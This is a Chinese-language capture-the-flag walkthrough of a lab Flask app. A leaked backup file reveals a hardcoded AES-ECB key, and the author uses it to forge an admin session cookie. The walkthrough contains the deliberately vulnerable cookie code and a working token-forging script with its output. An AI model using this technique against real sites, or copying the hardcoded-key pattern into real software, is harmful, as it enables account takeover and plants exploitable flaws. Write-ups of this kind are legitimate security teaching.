一个简单的靶机

Step1

通过指定端口,发现一个用户登录界面,用户名与密码已经告诉我们了,直接登录试一下

无效加密

Step2

登录成功过后,可以看到上方告诉了我们目前的角色叫做 USER ,那么猜测应该有权限更高的角色的,尝试寻找一下

无效加密

Step3

进入开发者工具,在应用程序的 Cookie 中可以看到是有登录凭证,观察这个登录凭证可以看到是被加密的,那么如果我有更高权限角色的 Cookie 那我是否就可以直接登录到另一个角色呢?但是不知道密钥和算法,还需要继续收集信息

无效加密

Step4

尝试在 URL 加上/robots.txt,发现了一份app.py.bak文件。

无效加密

Step5

这份app.py.bak文件打开过后可以看到是生成 Cookie的代码,密钥和加密方式等都是有记录的。

from flask import Flask, render_template, request, redirect, url_for, make_response
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import json
import os
import datetime

app = Flask(__name__)

# ---------------------------------------------------
# CRYPTO CONFIGURATION (VULNERABLE)
# ---------------------------------------------------
# HARDCODED KEY! This is the primary vulnerability.
# AES-ECB is also used, which is weak, but the key leak is the fatal flaw.
SECRET_KEY = b'SafeBox_Secret_K' # 16 bytes
BLOCK_SIZE = 16

def encrypt_data(data):
    cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))
    return base64.b64encode(ct_bytes).decode('utf-8')

def decrypt_data(b64_data):
    try:
        ct = base64.b64decode(b64_data)
        cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
        pt = unpad(cipher.decrypt(ct), BLOCK_SIZE)
        return pt.decode('utf-8')
    except (ValueError, KeyError):
        return None
.............................
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        
        # Simple Login Logic (No database for simplicity in this specific lab, focused on Crypto)
        if username == 'guest' and password == 'guest':
            user_data = json.dumps({'username': 'guest', 'role': 'user', 'exp': str(datetime.datetime.now())})
            token = encrypt_data(user_data)
            
            resp = make_response(redirect(url_for('dashboard')))
            resp.set_cookie('auth_token', token)
            return resp
        else:
            return render_template('login.html', error="Invalid credentials. Try guest/guest")
            
    return render_template('login.html')
...........................
无效加密

Step5

1.通过代码可以分析出只对用户的登录令牌进行了加密,利用给到的密钥和脚本把里面的 Guest 修改成 Admin 就可以实现伪造了一个管理员进行登录

脚本:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import json
import datetime

SECRET_KEY = b'SafeBox_Secret_K'
BLOCK_SIZE = 16

def encrypt_data(data):
    cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))
    return base64.b64encode(ct_bytes).decode('utf-8')

# 构造 Payload
admin_payload = json.dumps({
    'username': 'admin',
    'role': 'admin',
    'exp': str(datetime.datetime.now())
})

print(f"Admin Token: {encrypt_data(admin_payload)}")

输出结果:
Admin Token: lWfFm0XN7GE3GaHQb+neJDfwA2wfT5ZMFo12i+o00BKMCEQAMdrdxwMnxiaPvg9MBSXnOMvKNGbtPN3lmjaCyvn3EL6ZYEwd5Op6AGtnt1c=

Step6

将新生成的 Cookie 放入 Burpsuite 当中的 Inspector

无效加密

Step7

刷新查看结果,成功拿到 Flag

无效加密

...........................